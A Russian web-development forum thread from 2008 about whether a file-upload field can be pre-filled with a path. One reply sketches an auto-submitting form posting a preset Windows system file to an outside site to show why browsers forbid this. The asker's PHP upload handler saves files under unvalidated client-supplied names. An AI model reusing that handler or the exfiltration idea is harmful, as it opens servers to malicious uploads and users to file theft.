Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

HTML+CSS+JavaScript

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: <INPUT name="img[]" type="file"> Как внести значение?
 
 автор: Саша   (05.01.2008 в 22:53)   письмо автору
 
 

Как внести значение в <INPUT name="img[]" type="file"> , т.е чтобы в этом поле уже был путь.

Спасибо!

   
 
 автор: AlexSol   (05.01.2008 в 22:54)   письмо автору
 
   для: Саша   (05.01.2008 в 22:53)
 

никак

   
 
 автор: Саша   (06.01.2008 в 22:17)   письмо автору
 
   для: AlexSol   (05.01.2008 в 22:54)
 

Тогда вот такой нюанс.


<form enctype='multipart/form-data' method=post>
<table>
  <tr>
    <td><input type="file" size="32" name="att[]" class=input></td>
    <td><input type="button" name="drop" value=" &minus; " onclick="dropFile(this);">
        <input type="button" value=" + " onclick="addFile(this);"></td>
  </tr>
</table>
<input class=button type=submit value='Загрузить'>
</form>
<script language='JavaScript1.1' type='text/javascript'>
<!--
function dropFile(btn)
{
  if(document.getElementById)
  {
    while (btn.tagName != 'TR') btn = btn.parentNode;
    btn.parentNode.removeChild(btn);
  }
}
function addFile(btn)
{
  if(document.getElementById)
  {
    while (btn.tagName != 'TR') btn = btn.parentNode;
    var newTr = btn.parentNode.insertBefore(btn.cloneNode(true),btn.nextSibling);
    thisChilds = newTr.getElementsByTagName('td');
    for (var i = 0; i < thisChilds.length; i++)
    {
      if (thisChilds[i].className == 'files') thisChilds[i].innerHTML = '<input size="32" name="att[]" class=input type="file">';
    }
  }
}
//-->
</script>
<?php
  
// Обработчик HTML-формы
  // Загружаем все файлы на сервер
  
for($i 0$i count($_FILES['att']['name']); $i++)
  {
    
// Перемещаем файл из временной директории сервера в
    // директорию /files Web-приложения
    
if (copy($_FILES['att']['tmp_name'][$i], "files/".$_FILES['att']['name'][$i]))
    {
      
// Уничтожаем файл во временной директории
      
unlink($_FILES['att']['tmp_name'][$i]);
      
// Изменяем права доступа к файлу
      
chmod("files/".$_FILES['att']['name'][$i], 0644);
    }
  }

  
// Осуществляем автоматическую перезагрузку страницы
  // если содержимое суперглобального массива $_POST
  // не является пустым
  
if(!empty($_POST))
  {
    echo 
"<HTML><HEAD>
            <META HTTP-EQUIV='Refresh' CONTENT='0; URL="
.$_SERVER['PHP_SELF']."'>
          </HEAD></HTML>"
;
  }
?>


Если выбрать какойто файл, а потом нажать "+", то он скопируется вместе с выбраным путем. Т.е теоретически этот путь все же где то сохраняется

   
 
 автор: AlexSol   (06.01.2008 в 23:14)   письмо автору
 
   для: Саша   (06.01.2008 в 22:17)
 

возможно. но этот параметр только для чтения.

   
 
 автор: Саша   (06.01.2008 в 23:45)   письмо автору
 
   для: AlexSol   (06.01.2008 в 23:14)
 

Но как тогда происходит процес копирования? Я себе представляю это так, функция в цыкле прокручевает все значения и запихивает их в новый объект. Получается что информация не только для чтения, а значит туда можно записать

   
 
 автор: SHAman   (07.01.2008 в 00:20)   письмо автору
 
   для: Саша   (06.01.2008 в 23:45)
 

ОК. Если туда можно записать, то почему тогда хакеры этим не пользуются?

Я делаю страницу, куда включаю:

<form action="http://mysite.com" method="post" enctype="multypart/form-data">
<input type="file" value="C:/WINDOWS/...нужный файл"/>
</form>


При загрузке страницы, я скриптом отправляю форму. Все! Гудбай конфиденциальный файл.

Я себе представляю это так, функция в цыкле прокручевает все значения и запихивает их в новый объект.
Какая функция? Какие значения? Какой объект? Вы о чем вообще?

   
 
 автор: bronenos   (07.01.2008 в 00:29)   письмо автору
 
   для: Саша   (06.01.2008 в 23:45)
 

Процесс копирования объекта встроенными методами сделан на уровне ядра браузера, внутри можно все. Нам же в целях безопасности это делать запрещено. наглядный пример показал SHAman.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования